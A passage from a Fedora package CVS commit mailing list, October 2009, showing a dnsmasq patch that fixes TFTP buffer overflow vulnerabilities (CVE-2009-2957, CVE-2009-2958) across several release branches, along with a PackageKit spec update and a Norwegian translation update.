+		    transfer->blocksize = (unsigned)daemon->packet_buff_sz - 4;
+		  transfer->opt_blocksize = 1;
+		  transfer->block = 0;
+		}
 	    }
-	  
-	  if (strcasecmp(opt, "tsize") == 0 && next(&p, end) && !transfer->netascii)
+	  else if (strcasecmp(opt, "tsize") == 0 && next(&p, end) && !transfer->netascii)
 	    {
 	      transfer->opt_transize = 1;
 	      transfer->block = 0;
@@ -217,17 +218,17 @@ void tftp_request(struct listener *liste
 	{
 	  if (daemon->tftp_prefix[0] == '/')
 	    daemon->namebuff[0] = 0;
-	  strncat(daemon->namebuff, daemon->tftp_prefix, MAXDNAME);
+	  strncat(daemon->namebuff, daemon->tftp_prefix, (MAXDNAME-1) - strlen(daemon->namebuff));
 	  if (daemon->tftp_prefix[strlen(daemon->tftp_prefix)-1] != '/')
-	    strncat(daemon->namebuff, "/", MAXDNAME);
+	    strncat(daemon->namebuff, "/", (MAXDNAME-1) - strlen(daemon->namebuff));
 
 	  if (daemon->options & OPT_TFTP_APREF)
 	    {
 	      size_t oldlen = strlen(daemon->namebuff);
 	      struct stat statbuf;
 	      
-	      strncat(daemon->namebuff, inet_ntoa(peer.sin_addr), MAXDNAME);
-	      strncat(daemon->namebuff, "/", MAXDNAME);
+	      strncat(daemon->namebuff, inet_ntoa(peer.sin_addr), (MAXDNAME-1) - strlen(daemon->namebuff));
+	      strncat(daemon->namebuff, "/", (MAXDNAME-1) - strlen(daemon->namebuff));
 	      
 	      /* remove unique-directory if it doesn't exist */
 	      if (stat(daemon->namebuff, &statbuf) == -1 || !S_ISDIR(statbuf.st_mode))
@@ -245,8 +246,7 @@ void tftp_request(struct listener *liste
 	}
       else if (filename[0] == '/')
 	daemon->namebuff[0] = 0;
-      strncat(daemon->namebuff, filename, MAXDNAME);
-      daemon->namebuff[MAXDNAME-1] = 0;
+      strncat(daemon->namebuff, filename, (MAXDNAME-1) - strlen(daemon->namebuff));
 
       /* check permissions and open file */
       if ((transfer->file = check_tftp_fileperm(&len)))


Index: dnsmasq.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dnsmasq/devel/dnsmasq.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- dnsmasq.spec	12 Aug 2009 17:05:49 -0000	1.41
+++ dnsmasq.spec	5 Oct 2009 10:26:35 -0000	1.42
@@ -11,7 +11,7 @@
 
 Name:           dnsmasq
 Version:        2.48
-Release:        3%{?extraversion}%{?dist}
+Release:        4%{?extraversion}%{?dist}
 Summary:        A lightweight DHCP/caching DNS server
 
 Group:          System Environment/Daemons
@@ -20,6 +20,7 @@ URL:            http://www.thekelleys.or
 Source0:        http://www.thekelleys.org.uk/dnsmasq/%{?extrapath}%{name}-%{version}%{?extraversion}.tar.lzma
 Patch0:         %{name}-2.33-initscript.patch
 Patch1:         %{name}-configuration.patch
+Patch2:         %{name}-2.48-tftp-server-vulnerabilities.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  dbus-devel
@@ -46,6 +47,7 @@ machines.
 %setup -q -n %{name}-%{version}%{?extraversion}
 %patch0 -p1
 %patch1 -p1
+%patch2 -p1
 
 %build
 make %{?_smp_mflags}
@@ -109,6 +111,9 @@ fi
 
 
 %changelog
+* Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 2.48-4
+- Fix multiple TFTP server vulnerabilities (CVE-2009-2957, CVE-2009-2958)
+
 * Wed Aug 12 2009 Ville Skytt? <ville.skytta at iki.fi> - 2.48-3
 - Use lzma compressed upstream tarball.
 



From markmc at fedoraproject.org  Mon Oct  5 10:26:40 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Mon,  5 Oct 2009 10:26:40 +0000 (UTC)
Subject: rpms/dnsmasq/F-12 dnsmasq-2.48-tftp-server-vulnerabilities.patch,
	NONE, 1.1 dnsmasq.spec, 1.41, 1.42
Message-ID: <20091005102640.2936711C00DB@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/dnsmasq/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30495

Modified Files:
	dnsmasq.spec 
Added Files:
	dnsmasq-2.48-tftp-server-vulnerabilities.patch 
Log Message:
* Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 2.48-4
- Fix multiple TFTP server vulnerabilities (CVE-2009-2957, CVE-2009-2958)


dnsmasq-2.48-tftp-server-vulnerabilities.patch:
 tftp.c |   36 ++++++++++++++++++------------------
 1 file changed, 18 insertions(+), 18 deletions(-)

--- NEW FILE dnsmasq-2.48-tftp-server-vulnerabilities.patch ---
diff -up dnsmasq-2.48/src/tftp.c.tftp-server-vulnerabilities dnsmasq-2.48/src/tftp.c
--- dnsmasq-2.48/src/tftp.c.tftp-server-vulnerabilities	2009-10-05 11:15:10.104555320 +0100
+++ dnsmasq-2.48/src/tftp.c	2009-10-05 11:15:12.104564277 +0100
@@ -192,20 +192,21 @@ void tftp_request(struct listener *liste
       
       while ((opt = next(&p, end)))
 	{
-	  if (strcasecmp(opt, "blksize") == 0 &&
-	      (opt = next(&p, end)) &&
-	      !(daemon->options & OPT_TFTP_NOBLOCK))
+	  if (strcasecmp(opt, "blksize") == 0)
 	    {
-	      transfer->blocksize = atoi(opt);
-	      if (transfer->blocksize < 1)
-		transfer->blocksize = 1;
-	      if (transfer->blocksize > (unsigned)daemon->packet_buff_sz - 4)
-		transfer->blocksize = (unsigned)daemon->packet_buff_sz - 4;
-	      transfer->opt_blocksize = 1;
-	      transfer->block = 0;
+	      if ((opt = next(&p, end)) &&
+		  !(daemon->options & OPT_TFTP_NOBLOCK))
+		{
+		  transfer->blocksize = atoi(opt);
+		  if (transfer->blocksize < 1)
+		    transfer->blocksize = 1;
+		  if (transfer->blocksize > (unsigned)daemon->packet_buff_sz - 4)
+		    transfer->blocksize = (unsigned)daemon->packet_buff_sz - 4;
+		  transfer->opt_blocksize = 1;
+		  transfer->block = 0;
+		}
 	    }
-	  
-	  if (strcasecmp(opt, "tsize") == 0 && next(&p, end) && !transfer->netascii)
+	  else if (strcasecmp(opt, "tsize") == 0 && next(&p, end) && !transfer->netascii)
 	    {
 	      transfer->opt_transize = 1;
 	      transfer->block = 0;
@@ -217,17 +218,17 @@ void tftp_request(struct listener *liste
 	{
 	  if (daemon->tftp_prefix[0] == '/')
 	    daemon->namebuff[0] = 0;
-	  strncat(daemon->namebuff, daemon->tftp_prefix, MAXDNAME);
+	  strncat(daemon->namebuff, daemon->tftp_prefix, (MAXDNAME-1) - strlen(daemon->namebuff));
 	  if (daemon->tftp_prefix[strlen(daemon->tftp_prefix)-1] != '/')
-	    strncat(daemon->namebuff, "/", MAXDNAME);
+	    strncat(daemon->namebuff, "/", (MAXDNAME-1) - strlen(daemon->namebuff));
 
 	  if (daemon->options & OPT_TFTP_APREF)
 	    {
 	      size_t oldlen = strlen(daemon->namebuff);
 	      struct stat statbuf;
 	      
-	      strncat(daemon->namebuff, inet_ntoa(peer.sin_addr), MAXDNAME);
-	      strncat(daemon->namebuff, "/", MAXDNAME);
+	      strncat(daemon->namebuff, inet_ntoa(peer.sin_addr), (MAXDNAME-1) - strlen(daemon->namebuff));
+	      strncat(daemon->namebuff, "/", (MAXDNAME-1) - strlen(daemon->namebuff));
 	      
 	      /* remove unique-directory if it doesn't exist */
 	      if (stat(daemon->namebuff, &statbuf) == -1 || !S_ISDIR(statbuf.st_mode))
@@ -245,8 +246,7 @@ void tftp_request(struct listener *liste
 	}
       else if (filename[0] == '/')
 	daemon->namebuff[0] = 0;
-      strncat(daemon->namebuff, filename, MAXDNAME);
-      daemon->namebuff[MAXDNAME-1] = 0;
+      strncat(daemon->namebuff, filename, (MAXDNAME-1) - strlen(daemon->namebuff));
 
       /* check permissions and open file */
       if ((transfer->file = check_tftp_fileperm(&len)))


Index: dnsmasq.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dnsmasq/F-12/dnsmasq.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- dnsmasq.spec	12 Aug 2009 17:05:49 -0000	1.41
+++ dnsmasq.spec	5 Oct 2009 10:26:40 -0000	1.42
@@ -11,7 +11,7 @@
 
 Name:           dnsmasq
 Version:        2.48
-Release:        3%{?extraversion}%{?dist}
+Release:        4%{?extraversion}%{?dist}
 Summary:        A lightweight DHCP/caching DNS server
 
 Group:          System Environment/Daemons
@@ -20,6 +20,7 @@ URL:            http://www.thekelleys.or
 Source0:        http://www.thekelleys.org.uk/dnsmasq/%{?extrapath}%{name}-%{version}%{?extraversion}.tar.lzma
 Patch0:         %{name}-2.33-initscript.patch
 Patch1:         %{name}-configuration.patch
+Patch2:         %{name}-2.48-tftp-server-vulnerabilities.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  dbus-devel
@@ -46,6 +47,7 @@ machines.
 %setup -q -n %{name}-%{version}%{?extraversion}
 %patch0 -p1
 %patch1 -p1
+%patch2 -p1
 
 %build
 make %{?_smp_mflags}
@@ -109,6 +111,9 @@ fi
 
 
 %changelog
+* Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 2.48-4
+- Fix multiple TFTP server vulnerabilities (CVE-2009-2957, CVE-2009-2958)
+
 * Wed Aug 12 2009 Ville Skytt? <ville.skytta at iki.fi> - 2.48-3
 - Use lzma compressed upstream tarball.
 



From markmc at fedoraproject.org  Mon Oct  5 10:26:46 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Mon,  5 Oct 2009 10:26:46 +0000 (UTC)
Subject: rpms/dnsmasq/F-11 dnsmasq-2.46-tftp-server-vulnerabilities.patch,
	NONE, 1.1 dnsmasq.spec, 1.37, 1.38
Message-ID: <20091005102646.B428D11C00DB@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/dnsmasq/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30536

Modified Files:
	dnsmasq.spec 
Added Files:
	dnsmasq-2.46-tftp-server-vulnerabilities.patch 
Log Message:
* Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 2.46-3
- Fix multiple TFTP server vulnerabilities (CVE-2009-2957, CVE-2009-2958)


dnsmasq-2.46-tftp-server-vulnerabilities.patch:
 tftp.c |   36 ++++++++++++++++++------------------
 1 file changed, 18 insertions(+), 18 deletions(-)

--- NEW FILE dnsmasq-2.46-tftp-server-vulnerabilities.patch ---
diff -up dnsmasq-2.48/src/tftp.c.tftp-server-vulnerabilities dnsmasq-2.48/src/tftp.c
--- dnsmasq-2.48/src/tftp.c.tftp-server-vulnerabilities	2009-10-05 11:15:10.104555320 +0100
+++ dnsmasq-2.48/src/tftp.c	2009-10-05 11:15:12.104564277 +0100
@@ -192,20 +192,21 @@ void tftp_request(struct listener *liste
       
       while ((opt = next(&p, end)))
 	{
-	  if (strcasecmp(opt, "blksize") == 0 &&
-	      (opt = next(&p, end)) &&
-	      !(daemon->options & OPT_TFTP_NOBLOCK))
+	  if (strcasecmp(opt, "blksize") == 0)
 	    {
-	      transfer->blocksize = atoi(opt);
-	      if (transfer->blocksize < 1)
-		transfer->blocksize = 1;
-	      if (transfer->blocksize > (unsigned)daemon->packet_buff_sz - 4)
-		transfer->blocksize = (unsigned)daemon->packet_buff_sz - 4;
-	      transfer->opt_blocksize = 1;
-	      transfer->block = 0;
+	      if ((opt = next(&p, end)) &&
+		  !(daemon->options & OPT_TFTP_NOBLOCK))
+		{
+		  transfer->blocksize = atoi(opt);
+		  if (transfer->blocksize < 1)
+		    transfer->blocksize = 1;
+		  if (transfer->blocksize > (unsigned)daemon->packet_buff_sz - 4)
+		    transfer->blocksize = (unsigned)daemon->packet_buff_sz - 4;
+		  transfer->opt_blocksize = 1;
+		  transfer->block = 0;
+		}
 	    }
-	  
-	  if (strcasecmp(opt, "tsize") == 0 && next(&p, end) && !transfer->netascii)
+	  else if (strcasecmp(opt, "tsize") == 0 && next(&p, end) && !transfer->netascii)
 	    {
 	      transfer->opt_transize = 1;
 	      transfer->block = 0;
@@ -217,17 +218,17 @@ void tftp_request(struct listener *liste
 	{
 	  if (daemon->tftp_prefix[0] == '/')
 	    daemon->namebuff[0] = 0;
-	  strncat(daemon->namebuff, daemon->tftp_prefix, MAXDNAME);
+	  strncat(daemon->namebuff, daemon->tftp_prefix, (MAXDNAME-1) - strlen(daemon->namebuff));
 	  if (daemon->tftp_prefix[strlen(daemon->tftp_prefix)-1] != '/')
-	    strncat(daemon->namebuff, "/", MAXDNAME);
+	    strncat(daemon->namebuff, "/", (MAXDNAME-1) - strlen(daemon->namebuff));
 
 	  if (daemon->options & OPT_TFTP_APREF)
 	    {
 	      size_t oldlen = strlen(daemon->namebuff);
 	      struct stat statbuf;
 	      
-	      strncat(daemon->namebuff, inet_ntoa(peer.sin_addr), MAXDNAME);
-	      strncat(daemon->namebuff, "/", MAXDNAME);
+	      strncat(daemon->namebuff, inet_ntoa(peer.sin_addr), (MAXDNAME-1) - strlen(daemon->namebuff));
+	      strncat(daemon->namebuff, "/", (MAXDNAME-1) - strlen(daemon->namebuff));
 	      
 	      /* remove unique-directory if it doesn't exist */
 	      if (stat(daemon->namebuff, &statbuf) == -1 || !S_ISDIR(statbuf.st_mode))
@@ -245,8 +246,7 @@ void tftp_request(struct listener *liste
 	}
       else if (filename[0] == '/')
 	daemon->namebuff[0] = 0;
-      strncat(daemon->namebuff, filename, MAXDNAME);
-      daemon->namebuff[MAXDNAME-1] = 0;
+      strncat(daemon->namebuff, filename, (MAXDNAME-1) - strlen(daemon->namebuff));
 
       /* check permissions and open file */
       if ((transfer->file = check_tftp_fileperm(&len)))


Index: dnsmasq.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dnsmasq/F-11/dnsmasq.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- dnsmasq.spec	24 Feb 2009 12:12:18 -0000	1.37
+++ dnsmasq.spec	5 Oct 2009 10:26:46 -0000	1.38
@@ -11,7 +11,7 @@
 
 Name:           dnsmasq
 Version:        2.46
-Release:        2%{?extraversion}%{?dist}
+Release:        3%{?extraversion}%{?dist}
 Summary:        A lightweight DHCP/caching DNS server
 
 Group:          System Environment/Daemons
@@ -20,6 +20,7 @@ URL:            http://www.thekelleys.or
 Source0:        http://www.thekelleys.org.uk/dnsmasq/%{?extrapath}%{name}-%{version}%{?extraversion}.tar.gz
 Patch0:         %{name}-2.33-initscript.patch
 Patch1:         %{name}-configuration.patch
+Patch2:         %{name}-2.46-tftp-server-vulnerabilities.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  dbus-devel
@@ -46,6 +47,7 @@ machines.
 %setup -q -n %{name}-%{version}%{?extraversion}
 %patch0 -p1
 %patch1 -p1
+%patch2 -p1
 
 %build
 make %{?_smp_mflags}
@@ -109,6 +111,9 @@ fi
 
 
 %changelog
+* Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 2.46-3
+- Fix multiple TFTP server vulnerabilities (CVE-2009-2957, CVE-2009-2958)
+
 * Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.46-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From markmc at fedoraproject.org  Mon Oct  5 10:26:53 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Mon,  5 Oct 2009 10:26:53 +0000 (UTC)
Subject: rpms/dnsmasq/F-10 dnsmasq-2.46-tftp-server-vulnerabilities.patch,
	NONE, 1.1 dnsmasq.spec, 1.36, 1.37
Message-ID: <20091005102653.2DD8211C00DB@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/dnsmasq/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30577

Modified Files:
	dnsmasq.spec 
Added Files:
	dnsmasq-2.46-tftp-server-vulnerabilities.patch 
Log Message:
* Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 2.46-2
- Fix multiple TFTP server vulnerabilities (CVE-2009-2957, CVE-2009-2958)


dnsmasq-2.46-tftp-server-vulnerabilities.patch:
 tftp.c |   36 ++++++++++++++++++------------------
 1 file changed, 18 insertions(+), 18 deletions(-)

--- NEW FILE dnsmasq-2.46-tftp-server-vulnerabilities.patch ---
diff -up dnsmasq-2.48/src/tftp.c.tftp-server-vulnerabilities dnsmasq-2.48/src/tftp.c
--- dnsmasq-2.48/src/tftp.c.tftp-server-vulnerabilities	2009-10-05 11:15:10.104555320 +0100
+++ dnsmasq-2.48/src/tftp.c	2009-10-05 11:15:12.104564277 +0100
@@ -192,20 +192,21 @@ void tftp_request(struct listener *liste
       
       while ((opt = next(&p, end)))
 	{
-	  if (strcasecmp(opt, "blksize") == 0 &&
-	      (opt = next(&p, end)) &&
-	      !(daemon->options & OPT_TFTP_NOBLOCK))
+	  if (strcasecmp(opt, "blksize") == 0)
 	    {
-	      transfer->blocksize = atoi(opt);
-	      if (transfer->blocksize < 1)
-		transfer->blocksize = 1;
-	      if (transfer->blocksize > (unsigned)daemon->packet_buff_sz - 4)
-		transfer->blocksize = (unsigned)daemon->packet_buff_sz - 4;
-	      transfer->opt_blocksize = 1;
-	      transfer->block = 0;
+	      if ((opt = next(&p, end)) &&
+		  !(daemon->options & OPT_TFTP_NOBLOCK))
+		{
+		  transfer->blocksize = atoi(opt);
+		  if (transfer->blocksize < 1)
+		    transfer->blocksize = 1;
+		  if (transfer->blocksize > (unsigned)daemon->packet_buff_sz - 4)
+		    transfer->blocksize = (unsigned)daemon->packet_buff_sz - 4;
+		  transfer->opt_blocksize = 1;
+		  transfer->block = 0;
+		}
 	    }
-	  
-	  if (strcasecmp(opt, "tsize") == 0 && next(&p, end) && !transfer->netascii)
+	  else if (strcasecmp(opt, "tsize") == 0 && next(&p, end) && !transfer->netascii)
 	    {
 	      transfer->opt_transize = 1;
 	      transfer->block = 0;
@@ -217,17 +218,17 @@ void tftp_request(struct listener *liste
 	{
 	  if (daemon->tftp_prefix[0] == '/')
 	    daemon->namebuff[0] = 0;
-	  strncat(daemon->namebuff, daemon->tftp_prefix, MAXDNAME);
+	  strncat(daemon->namebuff, daemon->tftp_prefix, (MAXDNAME-1) - strlen(daemon->namebuff));
 	  if (daemon->tftp_prefix[strlen(daemon->tftp_prefix)-1] != '/')
-	    strncat(daemon->namebuff, "/", MAXDNAME);
+	    strncat(daemon->namebuff, "/", (MAXDNAME-1) - strlen(daemon->namebuff));
 
 	  if (daemon->options & OPT_TFTP_APREF)
 	    {
 	      size_t oldlen = strlen(daemon->namebuff);
 	      struct stat statbuf;
 	      
-	      strncat(daemon->namebuff, inet_ntoa(peer.sin_addr), MAXDNAME);
-	      strncat(daemon->namebuff, "/", MAXDNAME);
+	      strncat(daemon->namebuff, inet_ntoa(peer.sin_addr), (MAXDNAME-1) - strlen(daemon->namebuff));
+	      strncat(daemon->namebuff, "/", (MAXDNAME-1) - strlen(daemon->namebuff));
 	      
 	      /* remove unique-directory if it doesn't exist */
 	      if (stat(daemon->namebuff, &statbuf) == -1 || !S_ISDIR(statbuf.st_mode))
@@ -245,8 +246,7 @@ void tftp_request(struct listener *liste
 	}
       else if (filename[0] == '/')
 	daemon->namebuff[0] = 0;
-      strncat(daemon->namebuff, filename, MAXDNAME);
-      daemon->namebuff[MAXDNAME-1] = 0;
+      strncat(daemon->namebuff, filename, (MAXDNAME-1) - strlen(daemon->namebuff));
 
       /* check permissions and open file */
       if ((transfer->file = check_tftp_fileperm(&len)))


Index: dnsmasq.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dnsmasq/F-10/dnsmasq.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- dnsmasq.spec	29 Dec 2008 01:42:34 -0000	1.36
+++ dnsmasq.spec	5 Oct 2009 10:26:53 -0000	1.37
@@ -11,7 +11,7 @@
 
 Name:           dnsmasq
 Version:        2.46
-Release:        1%{?extraversion}%{?dist}
+Release:        2%{?extraversion}%{?dist}
 Summary:        A lightweight DHCP/caching DNS server
 
 Group:          System Environment/Daemons
@@ -20,6 +20,7 @@ URL:            http://www.thekelleys.or
 Source0:        http://www.thekelleys.org.uk/dnsmasq/%{?extrapath}%{name}-%{version}%{?extraversion}.tar.gz
 Patch0:         %{name}-2.33-initscript.patch
 Patch1:         %{name}-configuration.patch
+Patch2:         %{name}-2.46-tftp-server-vulnerabilities.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  dbus-devel
@@ -46,6 +47,7 @@ machines.
 %setup -q -n %{name}-%{version}%{?extraversion}
 %patch0 -p1
 %patch1 -p1
+%patch2 -p1
 
 %build
 make %{?_smp_mflags}
@@ -109,6 +111,9 @@ fi
 
 
 %changelog
+* Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 2.46-2
+- Fix multiple TFTP server vulnerabilities (CVE-2009-2957, CVE-2009-2958)
+
 * Mon Dec 29 2008 Mat?j Cepl <mcepl at redhat.com> - 2.45-2
 - rebuilt
 



From rhughes at fedoraproject.org  Mon Oct  5 10:29:18 2009
From: rhughes at fedoraproject.org (Richard Hughes)
Date: Mon,  5 Oct 2009 10:29:18 +0000 (UTC)
Subject: rpms/PackageKit/F-12 .cvsignore, 1.59, 1.60 PackageKit.spec, 1.121, 
	1.122 sources, 1.60, 1.61
Message-ID: <20091005102918.40BD311C00DB@cvs1.fedora.phx.redhat.com>

Author: rhughes

Update of /cvs/pkgs/rpms/PackageKit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31464

Modified Files:
	.cvsignore PackageKit.spec sources 
Log Message:
* Tue Sep 29 2009 Richard Hughes  <rhughes at redhat.com> - 0.5.3-0.2.20090928git
- Do not build smart support on RHEL.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/PackageKit/F-12/.cvsignore,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- .cvsignore	28 Sep 2009 13:36:27 -0000	1.59
+++ .cvsignore	5 Oct 2009 10:29:17 -0000	1.60
@@ -1 +1 @@
-PackageKit-0.5.3-20090928.tar.gz
+PackageKit-0.5.3.tar.gz


Index: PackageKit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/PackageKit/F-12/PackageKit.spec,v
retrieving revision 1.121
retrieving revision 1.122
diff -u -p -r1.121 -r1.122
--- PackageKit.spec	29 Sep 2009 13:33:08 -0000	1.121
+++ PackageKit.spec	5 Oct 2009 10:29:17 -0000	1.122
@@ -10,13 +10,13 @@
 Summary:   Package management service
 Name:      PackageKit
 Version:   0.5.3
-Release:   0.2.%{?alphatag}git%{?dist}
-#Release:   1%{?dist}
+#Release:   0.2.%{?alphatag}git%{?dist}
+Release:   1%{?dist}
 License:   GPLv2+
 Group:     System Environment/Libraries
 URL:       http://www.packagekit.org
-Source0:   http://www.packagekit.org/releases/%{name}-%{version}-%{?alphatag}.tar.gz
-#Source0:   http://www.packagekit.org/releases/%{name}-%{version}.tar.gz
+#Source0:   http://www.packagekit.org/releases/%{name}-%{version}-%{?alphatag}.tar.gz
+Source0:   http://www.packagekit.org/releases/%{name}-%{version}.tar.gz
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 # Fedora-specific: set Vendor.conf up for Fedora.
@@ -240,8 +240,8 @@ after firmware has been installed by Pac
 user to restart the computer or remove and re-insert the device.
 
 %prep
-%setup -q -n %{?name}-%{?version}-%{?alphatag}
-#%setup -q
+#%setup -q -n %{?name}-%{?version}-%{?alphatag}
+%setup -q
 %patch0 -p1 -b .fedora
 %patch1 -p1 -b .no-time
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/PackageKit/F-12/sources,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- sources	28 Sep 2009 13:36:27 -0000	1.60
+++ sources	5 Oct 2009 10:29:17 -0000	1.61
@@ -1 +1 @@
-c9d457d6a75ea9b376d6541cec210e88  PackageKit-0.5.3-20090928.tar.gz
+cbd7eb264c2536c363dc113eab60def3  PackageKit-0.5.3.tar.gz



From rhughes at fedoraproject.org  Mon Oct  5 10:31:21 2009
From: rhughes at fedoraproject.org (Richard Hughes)
Date: Mon,  5 Oct 2009 10:31:21 +0000 (UTC)
Subject: rpms/PackageKit/F-12 PackageKit.spec,1.122,1.123
Message-ID: <20091005103121.326A811C00DB@cvs1.fedora.phx.redhat.com>

Author: rhughes

Update of /cvs/pkgs/rpms/PackageKit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32451

Modified Files:
	PackageKit.spec 
Log Message:
* Mon Oct 05 2009 Richard Hughes  <rhughes at redhat.com> - 0.5.3-1
- Update to 0.5.3.
- Fix double free in pk-gstreamer-install which causes a crash. Fixes #526600
- Exit pk-command-not-found with 127 when we have not run a program. Fixes #527044
- Fix crash in notification daemon under some conditions due to non-resident
  GTK module.
- Don't explicitly download the file lists when using pk-command-not-found



Index: PackageKit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/PackageKit/F-12/PackageKit.spec,v
retrieving revision 1.122
retrieving revision 1.123
diff -u -p -r1.122 -r1.123
--- PackageKit.spec	5 Oct 2009 10:29:17 -0000	1.122
+++ PackageKit.spec	5 Oct 2009 10:31:20 -0000	1.123
@@ -454,6 +454,14 @@ update-mime-database %{_datadir}/mime &>
 %{_includedir}/PackageKit/backend/*.h
 
 %changelog
+* Mon Oct 05 2009 Richard Hughes  <rhughes at redhat.com> - 0.5.3-1
+- Update to 0.5.3.
+- Fix double free in pk-gstreamer-install which causes a crash. Fixes #526600
+- Exit pk-command-not-found with 127 when we have not run a program. Fixes #527044
+- Fix crash in notification daemon under some conditions due to non-resident
+  GTK module.
+- Don't explicitly download the file lists when using pk-command-not-found
+
 * Tue Sep 29 2009 Richard Hughes  <rhughes at redhat.com> - 0.5.3-0.2.20090928git
 - Do not build smart support on RHEL.
 



From transif at fedoraproject.org  Mon Oct  5 10:38:28 2009
From: transif at fedoraproject.org (Transifex System User)
Date: Mon,  5 Oct 2009 10:38:28 +0000 (UTC)
Subject: comps/po nb.po,1.22,1.23
Message-ID: <20091005103828.4D16A11C00DB@cvs1.fedora.phx.redhat.com>

Author: transif

Update of /cvs/pkgs/comps/po
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2074/po

Modified Files:
	nb.po 
Log Message:
Sending translation for Norwegian Bokm?l


Index: nb.po
===================================================================
RCS file: /cvs/pkgs/comps/po/nb.po,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- nb.po	31 Aug 2009 10:57:16 -0000	1.22
+++ nb.po	5 Oct 2009 10:38:26 -0000	1.23
@@ -10,7 +10,7 @@ msgstr ""
 "Project-Id-Version: comps-po\n"
 "Report-Msgid-Bugs-To: \n"
 "POT-Creation-Date: 2009-08-31 08:24+0000\n"
-"PO-Revision-Date: 2009-08-31 12:56+0200\n"
+"PO-Revision-Date: 2009-10-05 12:38+0200\n"
 "Last-Translator: Kjartan Maraas <kmaraas at broadpark.no>\n"
 "Language-Team: Norwegian/Bokmaal <i18n-nb at lister.ping.uio.no>\n"
 "MIME-Version: 1.0\n"
@@ -1380,9 +1380,8 @@ msgid "Amazigh Support"
 msgstr "St?tte for amazigh"
 
 #: ../comps-f11.xml.in.h:13 ../comps-f12.xml.in.h:15 ../comps-f13.xml.in.h:15
-#, fuzzy
 msgid "Azerbaijani Support"
-msgstr "St?tte for serbisk"
+msgstr "St?tte for Aserbaijansk"
 
 #: ../comps-f11.xml.in.h:27 ../comps-f12.xml.in.h:31 ../comps-f13.xml.in.h:31
 msgid "Chichewa Support"
@@ -1394,7 +1393,7 @@ msgstr "St?tte for koptisk"
 
 #: ../comps-f11.xml.in.h:37 ../comps-f12.xml.in.h:43 ../comps-f13.xml.in.h:43
 msgid "Design and Simulation tools for hardware engineers"
-msgstr ""
+msgstr "Utformings- og simuleringsverkt?y for maskinvareingeni?rer"
 
 #: ../comps-f11.xml.in.h:48 ../comps-f12.xml.in.h:55 ../comps-f13.xml.in.h:55
 msgid "Electronic Lab"
@@ -1427,9 +1426,8 @@ msgstr "St?tte for interlingua"
 
 #: ../comps-f11.xml.in.h:109 ../comps-f12.xml.in.h:116
 #: ../comps-f13.xml.in.h:116
-#, fuzzy
 msgid "Kazakh Support"
-msgstr "St?tte for "
+msgstr "St?tte for kasakhstansk"
 
 #: ../comps-f11.xml.in.h:111 ../comps-f12.xml.in.h:118
 #: ../comps-f13.xml.in.h:118
@@ -1443,9 +1441,8 @@ msgstr "St?tte for latinsk"
 
 #: ../comps-f11.xml.in.h:126 ../comps-f12.xml.in.h:134
 #: ../comps-f13.xml.in.h:134
-#, fuzzy
 msgid "Luxembourgish Support"
-msgstr "St?tte for tyrkisk"
+msgstr "St?tte for luxemburgisk"
 
 #: ../comps-f11.xml.in.h:130 ../comps-f12.xml.in.h:139
 #: ../comps-f13.xml.in.h:139
@@ -1506,11 +1503,10 @@ msgstr ""
 
 #: ../comps-f11.xml.in.h:187 ../comps-f12.xml.in.h:198
 #: ../comps-f13.xml.in.h:198
-#, fuzzy
 msgid ""
 "Support for developing software using the Objective CAML programming "
 "language and libraries."
-msgstr "St?tte for utvikling av programmer i programmeringsspr?ket Java."
+msgstr "St?tte for utvikling av programmer i programmeringsspr?ket Objective CAML og dets biblioteker."
 
 #: ../comps-f11.xml.in.h:189 ../comps-f12.xml.in.h:200
 #: ../comps-f13.xml.in.h:200
